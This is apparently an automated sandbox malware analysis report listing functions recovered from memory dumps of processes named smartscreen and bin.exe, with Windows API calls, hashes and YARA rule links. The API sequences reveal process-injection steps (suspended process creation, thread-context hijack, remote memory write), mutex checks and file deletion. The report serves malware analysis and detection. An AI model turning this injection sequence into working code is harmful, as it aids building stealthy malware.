VirtualAlloc.KERNELBASE ref: 00291DD2
VirtualProtect.KERNELBASE ref: 00291E56

Memory Dump Source

Source File: 00000012.00000002.2966205719.0000000000290000.00000040.00000001.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_290000_smartscreen.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: 5cfeb1bcbae8c558e98dcdee69f702b75d149b9acfc2b5526b48693fa100539d
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: F421F730B34C1E0BEF58A67D9859764F6D2E79C320F980295E90DD36E8ED58CC9187C6

Uniqueness

Uniqueness Score: -1.00%

Function 00290811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0029092A
RtlExitUserThread.NTDLL ref: 00290933

Memory Dump Source

Source File: 00000012.00000002.2966205719.0000000000290000.00000040.00000001.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_290000_smartscreen.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: c058b29fad30e67ee3f8ad258c7953d0322cd43e49dbed41448cb6062d2459d6
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E872520209BFEF017F709D86ABA77ACFF11300F400165BD85DA0A6DA744D74CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bin.exePID: 1196, Parent PID: 2580COMMON

Executed Functions

Function 02410005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0241098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 024109A5
Part of subcall function 0241098B: GetStartupInfoA.KERNEL32(00000000), ref: 024109BD

ExitProcess.KERNEL32(00000000), ref: 0241001D

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: 50d6ee2316b118c1bf614193e8e38a8508b19c0441586af3adfa51ce95c114a0
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: 3C72127144E3C44FD7279B208A65A667F79BF03208B0D30CBDC81DE1B3D6689989C76A

Uniqueness

Uniqueness Score: -1.00%

Function 00750000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00750318
VirtualProtect.KERNELBASE ref: 00750680
VirtualProtect.KERNELBASE ref: 007506FD

Strings

C[, xrefs: 00750221
y7, xrefs: 00750234
R, xrefs: 00750039
wJ, xrefs: 0075012E
d:, xrefs: 007500A0
1;, xrefs: 00750286
v, xrefs: 00750141
, xrefs: 0075000F
@, xrefs: 0075001F

Memory Dump Source

Source File: 00000013.00000002.1971670206.0000000000750000.00000040.00001000.00020000.00000000.sdmp, Offset: 00750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_750000_bin.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: 2a80003d27717977124701b8026b26c6787b26f5450d949885d04d1fcbbdf16c
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: A73277B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C093E Relevance: 18.1, APIs: 12, Instructions: 134
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 001C0959
RtlExitUserThread.NTDLL(00000000), ref: 001C0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0981
GetStartupInfoA.KERNEL32(00000000), ref: 001C0999

Part of subcall function 001C09D9: CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
Part of subcall function 001C09D9: GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
Part of subcall function 001C09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
Part of subcall function 001C09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
Part of subcall function 001C09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
Part of subcall function 001C09D9: ResumeThread.KERNEL32(?), ref: 001C0AB6
Part of subcall function 001C09D9: Sleep.KERNEL32(000003E8), ref: 001C0AC6
Part of subcall function 001C09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 02247e30dbf509db19e564959b2d0d53da4b464b58ceeb9d9e50b48634e6cc8b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: E7517031644354AFEF239F20CC85F9A77B8AF14B44F040199BA49FE0D6DBB0DA94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3F0D Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D
Sleep.KERNELBASE(000003E8,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F4B
Sleep.KERNEL32(000007D0), ref: 001C3F5B
Sleep.KERNEL32(00000BB8), ref: 001C3F6B

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 634a74a46434a642e0226302b98b7da89e65e1ed753664d014aab6768df5a327
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: EFF05E60988244A6EF413BB0884AF4D36B45F31705F04889CBA59E90D2CF30C6508E72

Uniqueness

Uniqueness Score: -1.00%

Function 001C1345 Relevance: 4.6, APIs: 3, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 001C1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 001C1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 001C13E5

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 24bdabae7abb68ff9a17f5ee70b33f63d9b304115b88680595e81b57cc4b6d8c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C921AE31944256AFDB11DE78C844B5DBBB5AF05310F054219F955BB5D5D730E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02413409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02413405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02413409

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: f1f5f59a51abdcf2a43967d54cb10672140bd40e096f884b3ee3f57d9bd504ea
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 78F0F875A00154DBEF12EF24C485A9A7BF8AF84344F4508C9AA4DBF206CA30A599CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02412951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02412949,00000008,?,00000000,02412835,00000000), ref: 02412956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02412993
lstrcat.KERNEL32(00000000,024129C1), ref: 024129D0
lstrcat.KERNEL32(00000000,024129F8), ref: 02412A07
lstrcat.KERNEL32(00000000,02412A2F), ref: 02412A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02412B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02412B66

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 75c66eb54fa99e83cd6d10e9b9eb073483e129dbe3991202e78fb6292cb1427a
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 4B518571500224AEDB22FF718D48FAB77BDEF40704F4404ABAE45EA045EF749680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C292D Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(001C2925,00000008,?,00000000,001C2811,00000000), ref: 001C2932
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 001C296F
lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC
lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 5e20f8d1fd77fe1a3bbaf27d3d0f84e3a94bc46b39ba8ee9e7a75b819cd3b3af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 55513471500264AFDB227B608D49FAB77BCEF60705F0444AEFA45EB056DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 024109FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,024109F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02410A04
GetThreadContext.KERNEL32(?,00000000), ref: 02410A2C
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 02410A57
DuplicateHandle.KERNEL32(000000FF,000000FF,?,02415834,00000000,00000000,00000002), ref: 02410A9C
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 02410ACA
ResumeThread.KERNEL32(?), ref: 02410ADA
Sleep.KERNEL32(000003E8), ref: 02410AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02410B01

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d83fe3bac47f13b8a479bbac9cd74855ff78128466e49bd4477d16f3698b1552
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 213141316402149FEF225F50CC85BAA77B8BF04748F0805D5BE49FE1E9DBB09690CE64

Uniqueness

Uniqueness Score: -1.00%

Function 001C09D9 Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
ResumeThread.KERNEL32(?), ref: 001C0AB6
Sleep.KERNEL32(000003E8), ref: 001C0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d08d0b8b2051c34f5721e4dda066ff8a6639c36971b334a2f4be7756b07d5326
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: F0312F31640215AFEF239F14CC85FAA77B8AF14744F080199AA49FE0E5DBB0DA90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 024129CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,024129C1), ref: 024129D0

Part of subcall function 02412A01: lstrcat.KERNEL32(00000000,024129F8), ref: 02412A07
Part of subcall function 02412A01: lstrcat.KERNEL32(00000000,02412A2F), ref: 02412A3E
Part of subcall function 02412A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AB8
Part of subcall function 02412A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02412B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02412B66

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c17460d5d5ae24aa734a8021d29e5248295317fa7bfea61926b70e992cd516a4
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: EC414371400668AEDB22EF718D48FAF77BDEF40704F4044ABAE85EA055DB749680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC

Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c636e14730fe7c8789ea0b8b2e66408bc148dc9e268f550b67392472ade30f33
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 9441F1715002289FDB22BB618D49FAB77BCEF60705F0444AAEA45E7055DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02412A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,024129F8), ref: 02412A07

Part of subcall function 02412A38: lstrcat.KERNEL32(00000000,02412A2F), ref: 02412A3E
Part of subcall function 02412A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AB8
Part of subcall function 02412A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AFC
Part of subcall function 02412A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02412B52
Part of subcall function 02412A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02412B66

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 3f90eb25eaba5dca63557f0aee667ca7c31998d0b46c408c811760b3e6b8fd4b
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 9E4135714006689EDB22EF71CD48FAF77BDEF40709F4044ABAE85EA054DB749680CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 001C29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3

Part of subcall function 001C2A14: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Part of subcall function 001C2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: d6b160bcfa924dc1f1ce780805323c99afb8a852cbc58ab7edcbb3794eecdb08
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 8D4130B15002289FDB22BB618D49FAF76BCEF60705F0444AEEA45E7041DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02412A38 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,02412A2F), ref: 02412A3E

Part of subcall function 02412B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02412C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02412AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02412B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02412B66

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: d5b34a25ca83654549debdb6c4af446f6cbf64038981b3b82e27acc5b618038e
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B53123715006689EDB22EF31CD48FAF76BDEF40709F4044ABAE45EA054DB749580CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 001C2A14 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A

Part of subcall function 001C2B4D: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 001C2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 49968fa7a4b5d5aca4da9ad6627b8677a1410d3c3c0f57381d6fd9009df4eb89
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B9313EB15002699FDB227B618C48FAF76FCEF60705F0044AEEA45E7045DB34DA80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 024131EA Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0241320E
GetStartupInfoA.KERNEL32(00000000), ref: 0241324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,024131D9,00000011,?,00000000,00000000), ref: 02413279
CloseHandle.KERNEL32(?,?,024131D9,00000011,?,00000000,00000000,00000000,02413092,00000004,00000000), ref: 02413285
CloseHandle.KERNEL32(?,?,024131D9,00000011,?,00000000,00000000,00000000,02413092,00000004,00000000), ref: 02413291

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 479f6e983e7f99b8d0cbcb2b0fe015b63c032f0bebc601512d7cfd5ae0514e95
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 271124724005289FDF12AF60CC88B9FB7FDEF40705F01459AE985EA004DB745A80CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 001C31EA
GetStartupInfoA.KERNEL32(00000000), ref: 001C3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,001C31B5,00000011,?,00000000,00000000), ref: 001C3255
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C3261
